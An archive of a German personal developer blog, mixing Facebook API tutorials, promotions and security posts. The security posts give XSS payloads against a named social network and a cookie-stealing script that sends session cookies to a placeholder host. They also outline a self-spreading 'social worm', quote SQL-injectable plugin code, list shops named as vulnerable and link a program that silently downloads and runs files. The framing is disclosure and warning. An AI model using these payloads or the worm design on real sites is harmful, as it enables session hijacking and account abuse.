[ KASIS | Kay | Schneider ]

Chrome Extension ( integrate Facebook in your google plus "main" stream )

2011-07-17T07:09:00.000-07:00

Das Wochenendwerk von mir wäre nun auch fertig...
Eine kleine Extension welche den Facebook Newsstream Chronologisch in den Newsfeed von GooglePlus ein.
Der kleine Helfer sortiert die Updates nur in den "main" stream ein, sobald man einen circle anwählt verschwinden die FB Updates.. zurück zum main stream da ist er wieder ;)
Zur Extension im Chrome Webstore :)

Join me on Google+

2011-07-17T07:07:00.000-07:00

https://plus.google.com/101394390558382014012/posts

Facebook GRAPH Picture Upload Tutorial

2011-01-08T07:14:00.000-08:00

So mit der Facebook GRAPH API lässt sich ja einiges machen. Ich widme mich heute mal dem Photo Upload. Und biete hierzu auch ein paar Code Samples an welche man benutzen kann.

So let`s go. Am einfachsten mit der GRAPH API zu arbeiten ist es wenn wir mit dem Offiziellen PHP Packet von Facebook arbeiten. Dies gibts unter GITHUB:
https://github.com/facebook/php-sdk/

Hier noch ein kleines Beispiel wie man dieses Paket zum laufen bringt:

include_once('facebook.php');

class facebookFactory {

private $facebook;
private static $instance = null;

private function __construct() {
$this->facebook = new Facebook(array(
'appId' => APP_ID,
'secret' => APP_SECRET,
'cookie' => true,
));
}

private function __clone() {

}

public static function getInstance() {
if(! self::$instance) {
self::$instance = new facebookFactory();
}

return self::$instance;
}

public function getFacebook() {
return $this->facebook;
}

}

Dies ist eine kleine Facebook Factory. Wer weiß ob man vielleicht das Offizielle Paket gegen ein anderes eintauscht. Im Konstruktor wird die Klasse Facebook aus dem facebook Packet instanziert. Dort werden alle nötigen Informationen, also APP_KEY, SECRET übergeben.
Diese Daten bekommt ihr von Facebook wenn ihr eine Anwendung erstellt.

So nun widmen wir uns dem Bilder Upload. Ich neige immer dazu "Fremdpackete" zu wrappen. Also nicht direkt auf die Methoden von der Klasse Facebook zurückzugreifen. Dazu habe ich ein "Arbeitstier" welche alle nötigen Methoden implementiert hat und einfach immer das Passende von der Klasse Facebook aufruft.

Um ein Bild hochzuladen mittels der "Graph" API hochzuladen. Hier ein kleinen Auszug meiner Upload Funktion welche die Facebook Upload Funktion anspricht:

$arguments = array(
'message' => 'Die Bildunterschrift :) ',
'tags'=>$this->makeTagArray($this->getRandomFriends($userId)),
'source' => '@' .realpath( BASEPATH . '/tmp/'.$imageName),
);
public function uploadPhoto($albId,$arguments) {
//https://graph.facebook.com/me/photos
try {

$fbUpload = $this->facebook->api('/'.$albId.'/photos?access_token='.$this->facebook->getAccessToken(),'post', $arguments);
return $fbUpload;
}catch(FacebookApiException $e) {
$e;
// var_dump($e);
return false;
}
}

In dieser Methode wird auf das Facebook Objekt zugegriffen und dann die API angesprochen. Dann den Pfad, also welche Methode, wir von der Graph API ansprechen wollen.
In meinem Fall übergebe ich eine ID eines Albums und Poste dort das Foto. Alternativ kann man auch einfach /me angeben. Dann handelt Facebook Automatisch die Alben.

Für diesen Aufruf ist wie bei allen Post aktionen ein Access Token notwendig. Diesen Liegert ebenfalls die Klasse Facebook.

Mit diesem Aufruf Posten wir ein Bild und Taggen direkt mal ein paar User. Hierzu erläuter ich noch die Methode makeTagArray:

private function makeTagArray($userId) {
foreach($userId as $id) {
$tags[] = array('tag_uid'=>$id, 'x'=>$x,'y'=>$y);
$x+=10;
$y+=10;
}
$tags = json_encode($tags);
return $tags;
}

Wie man sieht erstellt die Methode ein array welches ein Assoziatives Array mit sämtlichen Informationen zum Tag enthält. In meinem Fall wird der Methode einfach ein Array mit userIds von Facebook übergeben. Die Userids werden durchlaufen, die Position x und y wird aktualisiert und das wars dann auch schon.
Nun wird das Array zurückgegeben und steht nun ebenfalls als Argument für den Graph aufruf zur Verfügung. Die Option Tags muss immer ein array enthalten welches die Informationen für die Tags enthält, auch wenn man nur einen Tag hinzufügen möchte!

So ich hoffe es hat dem einen oder anderen weitergeholfen.

Feedback ist immer Wilkommen, und über lob wird sich gefreut.

Feine Festreden

2010-12-22T06:10:00.000-08:00

Feine Festreden gibt es von Hannelore Rösler, damit man nie wieder sprachlos dasteht:
www.feine-festrede.de

eine gute Idee wie ich finde :)

Neues Projekt

2010-12-22T03:20:00.001-08:00

SEO Optimierung für:

http://landsperger-consulting.de/index.html

Neue Shirts braucht das Land!!

2010-09-09T08:21:00.001-07:00

Shirts und mehr verspricht die "krawallschachtel". Im Spreadshirt Partnershop kann man endlich schicke shirts erwerben. Preislich breit gefächert so ist für jeden Geschmack und auch für das Passende Portmonai was dabei. Endlich Shirts zum anziehen.... schluss mit der hässlichkeit des Seins.... und her mit den krawallschachteln.......

Krawallschachtel Shop

Auch für echte "Ärsche" gibts buxen :)

Und für den "modernen Piraten" hat die krawallschachtel auch noch was....

Krawallschachtel Shop

Shopping auf facebook

2010-09-09T07:26:00.000-07:00

Facebook als Plattform für einen Online-Shop ? Ja, facebook eignet sich sehr gut als Sopping Plattform. Ein Shop kann man mittels der guten facebook API gut einbinden.

Es gilt nur zu beachten dass ein Shop auf facebook nicht 100% so funktioniert wie ein herkömmlicher Online Shop. Die User Experience sollte daher an facebook angepasst werden und das "reine Einkaufen", sollte als Nutzererlebniss hinten angestellt werden. Im Vordergrund sollten die Sozialen Funktionen stehen. Wie zum Beispiel das Teilen und Bewerten eines Artikels. Anderen Nutzer bestimmte Artikel weiterempfehlen oder man ermuntert Nutzer auf facebook aus dem Sortiement des Online Shops eine eigene "Zusammenstellung" machen zu lassen. Dies empfiehlt sich sehr bei Bekleidung.

So können andere Nutzer die Sets bewerten und darüber Diskutieren. Das Set mit dem besten Bewertungen im Monat könnte Premiert werden. Nutzer welche positive resonanz für Ihr Set bekommen könnte man Punkte geben. Diese Punkte wiederrum sind dann ausschlaggebend für Rabatte im Shop. Dem Nutzer sollte auch die Möglichkeit gegeben werden das Set wie angezeigt erwerben zu können.

Mit solchen und ähnlichen Mechanismen kann man einen schnöden Online Shop zu einem Social Shop verhelfen. Der Vorteil eines Social Shops ist dass Bewertungen nicht mehr Annonym sind, sondern direkt einem Bild, Profil zugeordnet werden. Dadurch wird die Glaubwürdigkeit der Bewertung erhöt. Durch "Mitmach" und "Veröffentlichen" Mechanismen bekommt man viele Nutzer welche öfters als sonst mit dem Shop interagieren.

Der Social Shop von Morgen erhöt den viralen effekt indem er den Verkauf etwas in den Hintergrund stellt. Und man erhält dadurch mehr Verkäufe.. :)

Hört sich einfach an, aber irgendwie finden sich nicht viele ernsthafte Ansätze zu einem Social Shop. Zu viele Shopbetreiber integrieren, like buttons in Ihrem Shop. Nur leider nutzen diese dann nur einen kleinen Teil des viralen Effekts... würde man sich ernsthafte gedanken über eine "richtige" integration in Facebook machen so könnten auch bestehende Shops ihre Fangemeinde über die Bestandskundschaft hinaus erweitern :)

Als Fazit kann man nun mitnehmen dass es durchaus Lohnenswert ist seinen bestehenden Online Shop in facebook zu integrieren. Man sollte sich aber zuerst ernsthafte Gedanken zu den Mechanismen eines Sozialen Netzwerkes machen.

UKMC fragwürdiger Umgang mit Angestellten

2009-06-18T06:50:00.000-07:00

Manche Firmen verfolgen eine mir unverständliche Firmenpolitik. So arbeitete ich letztes Jahr bei UKMC aus Ettlingen als EDV Techniker. Da ich im Aussendienst tätig war stellte man mir ein Miet PKW bereit.

Die Firma hatte alles per Kostenübernahme geregelt, also bezahlung etc mit Europcar. Beim Einparken bin ich dann doch mal hängengeblieben und dadurch entstand ein riss im Reifen. Diesen riss habe ich Ordnungsgemäß bei der Autovermietung angezeigt, diese tauschten dann das Auto aus.

Nun arbeite ich schon seit einigen Monaten nicht mehr bei UKMC. Es erreichte mich dann doch eine Rechnung in der ich die kosten, also 99.-€, für diesen Reifen übernehmen soll. Da Ihre Kostenübernahme sich nicht auf Schäden bezieht!

Ich halte dieses Vorgehen für mehr als Fragwürdig, des weiteren bin ich über den Umgang mit Angestellten entsetzt!! Nicht dass ich mich über mein viel zu geringes Gehalt für meine Tätigkeit im Linux Umfeld beschweren möchte, ich habe diesen Vertrag ja selbst Unterschrieben.
Man muss zugestehen dass ich an eine andere Firma verliehen wurde, samt PKW, um diese im Aussendienst zu Unterstützen. Bei solch einer Fachlichen Qualifikation sollten mir ja schon an die 12 bis 15 Euro Pro Stunde als Leiharbeiter sozusagen zugestehen. Aber an dieses Lohnnieveau kam ich nicht ganz heran. Da kann man einige Euros abziehen!

Dem Auftraggeber wurde mit Sicherheit für einiges mehr in Rechnung gestellt! Ich möchte an dieser Stelle noch einmal betonen ich würde mich nicht so sehr beklagen wenn diese 99.-€ nicht in Rechnung gestellt worden wären! Dies halte ich für eine Frechheit!!

Also ich empfehle keinem bei UKMC zu arbeiten. Das ist meine Objektive sichtweise auf diese Firma, da ich sie nun nicht mehr Positiv in Erinnerung habe! Die Gehälter werden gering Gehalten, als Angestellter erfährt man alles als letzter, große Geheimnisskrämerei seitens der Geschäftsfürung, schlechte Aufstiegschancen, keine Weiterbildung und wenn bezahlt diese der Auftraggeber!

Ich halte euch auf dem Laufenden was nun aus dem Briefwechsel herauskommt!!

XSS against nazis

2008-06-30T10:09:00.000-07:00

Fragwürdige CMS Anbieter......

2008-06-30T05:03:00.000-07:00

Es gibt ja viele gute Content Management Systeme welche OpenSource sind. Also als Beispiel sei hier Typo, joomla und wordpress genannt.
Gut wordpress hat sicherheitstechnisch in der Vergangenheit Probleme gehabt aber die Probleme sind weitest alle behoben worde. Im vergleich schneiden da die kostenpflichtige angebote sehr schlecht ab.

Auf meinem hack1n9 Blog habe ich über diverse Sicherheitsprobleme auf den verschiedensten Seiten Berichtet. Für die Probleme des Landes Baden-Württemberg ist ein CMS verantwortlich. Das ist das CMS Pirobase von Pironet. Es kostet 2 Vermögen ist unsicher und taugt nichts. Aber naja was solls.

Ebenfalls anfällig ist das webios cms. Ebenfalls angeschrieben. Positiv rückmeldung mit wir machen dass. Negativ bis heute nichts geschehen. Und dabei wäre das Problem in weniger als 5 Minuten zu beheben!!

Alle Fehler, hauptsächlich XSS, lassen sich auf vielen weiteren Seiten nachvollziehen. So zum Beispiel auch auf Freiburg.de. Pirobase sei dank.
Also ich dachte ich schreibe einfach mal Pironet an und nenne das Problem. Also ich rief an, habe ne email gesendet, mit Menschen gesprochen. Und das Ergebniss. Nichts.
Eine Seite hatte diverse SQL-injection Probleme, dort habe ich den webmaster angeschrieben. Aber nichts. Das Problem besteht heute noch ???

Ich habe gehofft durch aufzeigen von Problemen werden diese gelöst und sicherer gemacht. Aber ich denke dass man einfach solche Sicherheitslücken auf Mailinglisten veröffentlichen muss. Denn wenn es mehr Menschen wissen dann steigt auch der Druck auf den Anbieter. Hoffentlich.
Auch das Land juckt es nicht wenn die Seiten so lala herumhängen. Ich habe mails an die verschiedensten Stellen gesendet.
Ja immer mit kompletter anschrift etc. und wollte es denen sagen dass ihre Seiten nicht so ganz in Ordnung sind. Aber ebenfalls völliges desinteresse. Nein ich erwarte nicht dass die sich bei mir melden.
Einfach zur Kenntniss nehemn und richtig machen. Mensch ist doch nicht schwer. Oder doch?? Wenn doch dann war euer Studium umsonst ;-) Ich weiß ich weiß... aber ich hab recht!!!

Leider reagierte auch niemand bei Zweckverband Kommunale Datenverarbeitung Region Stuttgart (KDRS) diese Leute verbauen das Pirobase wie die wahnsinnigen. Leider leider mit durchgehend gleichem Ergebniss. XSS vulnerable.....
überall.....

Ich denke eine Sicherheitslücke wenn es auch "nur" *räusper* um xss geht wäre bei einem OpenSource Projekt innerhalb von 2 Tagen wenn überhaupt gefixed worden. Aber die "kommerziellen" Anbieter verschlafen dies. Das Kommentar von Pironet zu den Sicherheitsproblemen auf den Landesseiten, darunter auch die Polizei, dass müssen die Webmaster regeln wir sind dafür nicht verantwortlich! Ja klar ;-)
Da ist mir ja Microsoft noch Sympatischer........

Zertifizierte Online-Shops, trügerische Sicherheit!

2008-06-28T06:37:00.000-07:00

Online Shopping Sicherheit Trusted Zertifikate gibt es mittlerweile wie Sand am Meer.
Doch was taugt ein Zertifizierter Shop überhaupt.
Was meinen die mit "trusted"...... ist "https" ?? Reicht dass schon ??

Ich habe mit das Zertifikat vom Tüv mal genauer unter die Lupe genommen. Und musste feststellen dass bei einigen Shops trotz (trusted, save, zertifiziert) und anderen ominösen Auszeichnungen. Es offensichtliche Sicherheitslücken gibt. Diese musste ich nicht suchen, sonder die sind mir geradezu ins Auge gesprungen.

Bei ciao.de zum Bleistift ist XSS möglich. Und das ohne Probleme und Einschränkungen. XSS ist allgemein bei vielen Shops möglich. Am besten ist es für einen Angreifer, Shop mit community und einem einheitlichen Login.

Es sind nicht nur mini Shops welche unsicher sind. Es sind OnlineShops von Beate-Uhse, Karstadt-Quelle etc dabei. Also nicht nur komische Läden wo niemand einkauft!!

So wird es leicht gemacht Daten auszulesen, und man kann den XSS Code sehr effektiv weiterverbreiten. Manche Shops führen zweifelhafte Sicherheitsblockaden ein. Da steht dann etwas wie "a attack was bla bla your ip bla bla". Uhh jetzt gehts aber los. Ich hab nur gesucht.

Macht aber nichts. Das hat mich immehin dazu angespornt einen workaround zu finden. Beim IE zumindest klappts dann auch mit dem script. Denn komischerweise sind html tags mit style erlaubt ???? Was zum Teufel ist da los????
Es kann doch nicht wahr sein. Ich glaube das Entwickeln Menschen die haben keine Ahnung wie man so einen Angriff durchführt. Wie wollt ihr euch vor etwas Schützen von dem ihr keine Ahnung habt was es macht? Und wie es geht??

Egal. Zumindest hat diese Testreihe aufgezeigt dass Trusted nicht Trusted ist. Und dass man lieber aufmerksam ist als Kunde. Denn wer weiß wo ihr euch einloggt?? Auch ciao.de oder auf GibMirDeineDaten.de

Vielleicht vertrauen auch die Shop Betreiber auf diese Zertifikate. Die haben gesagt wir sind sicher. Ja die schauen ja nur ob die Daten per https übertragen werden, ob die Ware ankommt, der Umtausch Funktioniert usw.... die schauen doch nicht ob eure Server und Software sicher ist. Das machen die Zertifikate nicht. Und mal im ernst, die Zertifizierer wollen nur Geld verdienen. Die möchten nicht prüfen ob der Kunde dort sicher ist. Die wollen nur Profit. Das sind AGs da geht es um Geld machen nicht um mich oder Dich als Kunde!

Im Anhang habe ich eine Liste mit Shops welche eindeutige Sicherheitsmängel auf der Seite beinhalten. Also Augen auf beim Online Kauf!

Ich hab jeden Shop nur kurz angetestet. Also nicht länger als 5 Minuten. Und dass ist dafür ein verherendes Ergebniss:

Liste der Shops mit Sicherheitslücken:

boc24.de
Conrad Extreme, ja Xtrem unsicher
Conrad-Security.de Sicher doch muss man sagen
Topdeq.de
Essen-und-Trinken (kein shop) community
Karstadt-Quelle Versicherung. Hoffentlich hält die Versich erung mehr als die Seite ;-)
Modeschmuck.de einigermaßen sicher. Schreckt kleine Kids ab. Wenn erfahren auch unsicher
Elektromotorenmartk.de
Eddiebauer.de
Eis.de
Beate-Uhse, ein heiße s Pflaster
Orion.de genauso gut wie oben
Gebrüder Götz

Die Liste der nicht entdeckten Lücken in anderen Shops könnte noch länger werden. Aber ich kann ja nicht wochenlang hier shops testen. Das Zahlt ja niemand. Kennt jemand noch nen unsicherehn shop;-) Einfach als Kommentar Posten ich nehms in die Liste auf.

Bilder sagen mehr als Tausend Worte:

Soziale Netze und die Sicherheit! Report Kwick!

2008-06-23T07:22:00.000-07:00

Hinweis:
Diesen Post habe ich auf meinem hack1n9 Blog veröffentlicht.

Die Sozialen Netzwerke, neudeutsch: Social Networks, halten nicht allzu viel von Sicherheit. Vor allem müssten die Entwickler viel mehr für das Thema XSS Sensibilisiert werden. Denn Potentielle Angreifer finden jede Schwachstelle im System. Und wer lange genug sucht der wird immer fündig. Es sollte den Angreifern nur nicht allzu einfach gemacht werden.

Kwick.de hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.
Eines sei gesagt. Bei Kwick kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche XSS Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........

Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.

Abbildung 1: Kwick Seite nach der XSS Attacke
Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:

"><iframe src=http://google.de>

(Der steht in einer Zeile)
Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?
Bei Kwick wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:

<input type="text" name="q" id="search_q" value=""><iframe src=http://google.de>"
style="width: 250px;" class="borderLine" title="Suchbegriff eingeben (Name, Stadt, ...)" />

Hier gut zu erkennen. Der Suchstring wird in das value="Suchstring" eingefügt.
Und durch ein weiteres Anführungszeichen kann man das value Feld schließe. Nach
dem das Feld geschlossen ist kann man mit > den input tag schließen und man kann
nun ein neues tag öffnen. Im Testfall nun ein iframe.

Vielleicht sagt nun der ein oder andere na und? Das ist doch nicht schlimm, da es
ja nur auf meiner Seite ist. Ja das macht ja nichts! Doch was wenn ein Link so mani-
puliert wurde und Sie arglos auf diesen Link klicken, dann könnte ein Angreifer doch
mehr machen. Um zu zeigen wie mächtig so eine Sicherheitslücke ist soll folgendes
Beispiel zeigen.
Bisher haben wir nur einen iframe eingefügt. Jetzt werden wir einen Java Script
Code zur Demonstration einfügen. "><script>alert(document.cookie)</script>

In der Abbildung zwei sieht man dass Ergebniss dieser Abfrage. Es gibt nun alle Cookie Daten welche von K wick gesetzt wurden. Dass ist so gefährlich weil sobald jemand die cookie Daten von einem Besitzt so nimmt dieser für den Kwick Server die Idendität von jemand anderem an ! Also das heißt jeder kann nach einem Erfolgreichen Angriff auf meine Daten zugreifen. Nachrichten lesen, Nachrichten senden.

Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.

Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.


Also ein Gästebucheintrag mit:

Hallo Name_Empfänger,

na wie gehts? Ich hab was im Forum gefunden
dass musst du dir ansehen:
    Link ins Forum

Also bis dann Gruß 

Absender_Name

So sieht das ganze recht nett aus und mit Sicherheit wird der Empfänger, also von diesem Gästebucheintrag auf diesesn Link klicken, denn er möchte ja wissen was ihm der Absender, ein bekannter, zeigen möchte!

Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen "Social Worm" zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.
Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.

Nun zum Theoretischen Aufbau dieses Angriffes.

1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.

2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code

3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)

Zu den einzelnen Punkten. Wie kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.
Code:

"<script>keks=document.cookie;document.write( "<iframe src=
'http://irgendeinanonymerHost/guestbookSKW.php?Cookie= "+keks+ " ' style= 'width:100%;
height:200%;position:absolute; '></iframe> ");</script>

Mit diesem XSS Code wird nun ein iframe eingebunden welcher den GET Parameter Cookie an das PHP Skript übergibt. Der iframe wird mittels Javascript und document.write erstellt da ich ja den Prameter Cookie benötige, und dieser kann ich mittels Javascript auslesen, in der Variablen keks Speichern und dann in die url mit anhängen. Und es ist ja auch mal was anderes als es nur so Plumb in das Suchfeld einzufügen.

Zu Punkt 2:
Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript
benötigt folgende Fähigkeiten.

Es muss HTTP Verbindungen mit GET und POST Variablen herstellen
REG EXPRESSIONS, auslesen der Buddys(Freunde/Kontakte)

Dies ist alles nicht schwer zu bewerkstelligen. Das gesamte Skript möchte ich nicht veröffentlichen. Und es ist zu der Erklärung auch nicht notwendig dies zu tun. Es soll keine Anleitung für Skript Kiddies werden oder solche die es werden wollen. Dies soll aufzeigen wie Angreifer diese Lücken im großen Stil ausnutzen und so Social Networks in die Knie zwingen, oder die Benutzer dieser Netzwerke mit Spam zu Müllen! (mich inklusive :( )

Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.
Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.
Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.
Code:

preg_match_all("/(return profil$')(.*)('$)/i",$content, $treffer);

So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.

Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!

Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!
Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor XSS schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte WAF ( Web Application Firewall ). Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!

Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. Im zweifel einfach löschen und "nicht auf den link klicken".
Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen!

Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:

Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen

Wordpress plugins mit Nebenwirkungen

2008-06-11T13:10:00.000-07:00

Wordpress ist mitlerweile sehr weit verbreitet und daher für Angriffe sehr interessant. Vor allem die meist unsicher programmierten plugins machen es einem Potenziellen Angreifer sehr leicht.

So zum Beispiel das plugin "Spreadsheet". Dieses Eignet sich besonders für eine SQL-Injection, aber mit union. Also mehrere Select Abfragen durchführen.

Ich würde gerne einen Link mit dem Ergebniss einer solchen Anfrage einstellen, ich glaube aber dass dies nicht so gern gesehen wird, aber man kann das ganze leicht selbst ausprobieren. Und es ist ja auch nur wichtig zu w

Bei "Spreadsheet" ist die Datei ss_load.php Betroffen, diese ermöglicht den Einstieg.

Und die ss_functions.php, mit dieser Zeile in der Funktion ss_load wird die SQL Injektion durchgeführt. Die Herforgehobene Zeile

function ss_load ($id, $plain=FALSE) {
....
if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....

Um sich vor solchen gefährlichen plugins zu schützen empfehle ich wirklichem jedem Wordpress Benutzer dass er sein plugin bevor er es einsetzt erstmal den code anschauen, damit man sieht was das Programm damit macht. Vor allem sollte man keinem plugin vertrauen welches auf externe Daten blind vertraut ;)

Ah zur Absicherung empfehle ich diesen kleinen Code Schnipsel:

if(get_magic_quotes_gpc())
$varible_von_aussen = stripslashes($_GET['varible_von_aussen']);
else
$varible_von_aussen = $_GET['varible_von_aussen'];

$in_die_datenbankabfrage = mysql_real_escape_string($varible_von_aussen, $link);

Ich frage oben mit "get_magic_quotes_gpc()" ab ob dieses Aktiviert ist. Wenn es aktiviert ist dann wird mit "stripslashes()" die Maskierung rückgängig gemacht.
Ansonsten würde Maskiertes doppelt Maskiert werden!!!
Mit mysq_real_escape_string wird nun alles Maskiert.
Wichtig: Die mysql Verbindnug muss zu diesem Zeitpunkt schon stehen. Denn $link ist die MySQL Verbindungs-Kennung.

Also so schwer ist dass ja nun nicht externen code abzusichern. Aber wenn man sich die plugins so anschaut ;-)

Also Augen auf bei der Wahl eines Plugins!!

Firewalls und ihre schwächen.....

2008-06-06T08:05:00.000-07:00

Viele Windows Anwender ahnen nicht wie unsicher sie Tatsächlich unterwegs sind.
Bepackt mit Virenscanner, Firewall, Anti Spyware usw, fühlen die Anwender sich
so sicher wie noch nie ;-)
Frei nach dem Motto, es kann nichts passieren, die Software denkt ja mit. Dabei ist es ja auch ganz einfach jemanden etwas unterzumoglen.
Und mit diesem kleinen Programm lässt sich ganz Leicht ein drittes Programm auf einem Rechner einschleussen!
Das Programm, es könnte jetzt auch in einem kleinen Spiel oder was auch immer verpackt sein, aber dass habe ich mir hier nun erspart. Es soll ja auch nur ein Konzept eines möglichen Angriffs sein und keine vorbereitung als solche.

Nun gut, das Programm startet den Internet Explorer als nicht Sichtbarer Prozess.
Baut eine Verbindung zu einem Server auf und lädt dann Automatisch ein Programm, hierbei handelt es sich um ein Mini-Programm welches nur eine Meldung herbeizaubert und damit aufzeigt dass das System auf diesem wege angreifbar ist.

Durch die Autoklick Funktionen, welche windows Anbietet kann man recht leicht alle Fenster, Meldungen und Warnungen bestätigen bzw. weg klicken. Das System Funktioniert gerade auch mit einer Firewall recht gut denn der Browser darf ja Standardmäßig in das Internet.

Das Programm kann noch Optimiert werden, die Fenster welche sich öffnen, sind ganz kurz Sichtbar. Da könnte man an die Aufrufende Funktionen noch einen Hook Senden damit die Fenster nicht mehr Sichtbar sind.

Aber um das Konzept zu verdeutlichen reicht das eigentlich aus.
Hier gehts zum Quellcode in c, c Quelle

Als fertiges Programm die exe.... die gibts hier.

Für alle die mehr für Ihre Sicherheit machen wollen sei diese Seite empfohlen:

www.dingens.org

My Hometown

2008-05-28T01:01:00.001-07:00

Hier Lebe und Arbeite ich ;-)

Größere Kartenansicht

Wordpress Admin Kennwort weg?

2008-05-27T17:14:00.000-07:00

Wenn einem das Admin Kennwort für seine Wordpress installation entfallen ist und das Morphysche gesetzt zuschlägt und es Funktioniert die e-mail zusendung nicht.

Dann ist dass noch lange kein Weltuntergang. Mit diesem kleinen Tool kann man sich ein neues Passwort setzten. Vorrausgesetzt man kann noch auf die Mysql Datenbank zugreifen ;-)

Dieses Skript erzeutg aus einem Text String einen Md5 verschlüsselten String. Diesen Text kann man dann in der Datenbank speichern und fertig ;-)

Genaue Anleitung sieht man auf der Seite des Skriptes.

crypt.zip << Download

Und wer dieses Skript nicht runterladen möchte kann es hier gleich ausprobieren:
Crypt Passwort

Mini CMS System

2008-05-27T17:09:00.000-07:00

So hier wird es mal wieder Praktisch. Das ist ein mini-cms system welches für kleinere Anwendungen gedacht ist.

Das ganze System ist relativ einfach zum installieren und kommt ohne Datenbank aus. Die Texte werden einfach als textdatei abgespeichert.

Also die kurzinstallationsanleitung:

Zip Datei runterladen.

Lokal entpacken.

Alle Dateien auf den Webserver laden.

So und schon läuft das Skript. Jetzt kann man noch bei bedarf das Layout welches als vorlage im Ordner styles liegt anpassen. Dann die Texte schreiben und schon ist das ganze fertig!

Dein Mini-CMS ist nun komplett und läuft schon. Also ein echtes 5-Minuten CMS für kleine oder kurzfristige Projekte.

Geeignet für Einsteiger da der Quellcode durchkommentiert ist.

Mini CMS Projekt << Download

Viel Spass mit dem CMS und wems gefällt oder wenn was stört, einfach hier unten ein kommentar abgeben! Danke im voraus

Mr. Wong Shirt ich will eins ;-)

2008-04-24T08:17:00.001-07:00

So hier ein lehrreiches Video, wie man die mr-wong toolbar installiert
Und hier auf zu mr-wong.de

ikasis: komfortabler Youtube Player mit schnell suche

2008-04-24T07:03:00.000-07:00

Der ikasis Player ist mit der neuen Youtube API realisiert worden. Er besitzt eine ajax engine und kann so eine schnelle suche durchführen ohnde die aktuelle seite neu zu laden und so das aktuelle video zu stoppen.

Direkt zum ikasis Player!

Direkt nach dem laden der seite werden die top rated videos angezeigt. Man kann einen vordefinierten Kanal auswählen, wie bsp musik oder comedy. Oder eben eine suche durchführen lassen. Die Videos kommen alle von Youtube und sind dadurch mehr als zahlreich vorhanden.

Das top feature ist die einfache handhabung. Sobald ein Video sich dem ende nähert wird das nächste video geladen und sofort wiedergegeben. So erspart man sich das ständige gewurschtel mit der Playlist obwohl man nur mal nebenbei musik hören oder ein paar sketche anschauen möchte.

Die benutzung von ikasis* player lohnt sich wirklich, da der player einfach in der Handhabung ist und tolle features besitzt.

Also gleich mal den player testen ;-)

Social Networking zum Aktiv Mitgestalten :-)

2008-02-28T09:47:00.000-08:00

Nun haben wir von KASISIT uns in den Kopf gesetzt, naja es war meine Idee. Ein SocialNetwork zu erstellen in dem der User schon bei der Erstellung mit einbezogen wird. Unsere Software ist nun gerade so dem alpha Status entsprungen und nun lassen wir die Benutzer schon drauf los. Wir erstellen nun fast täglich ein neues Modul(Funktion) Online oder entfernen, verbessern alte Module.

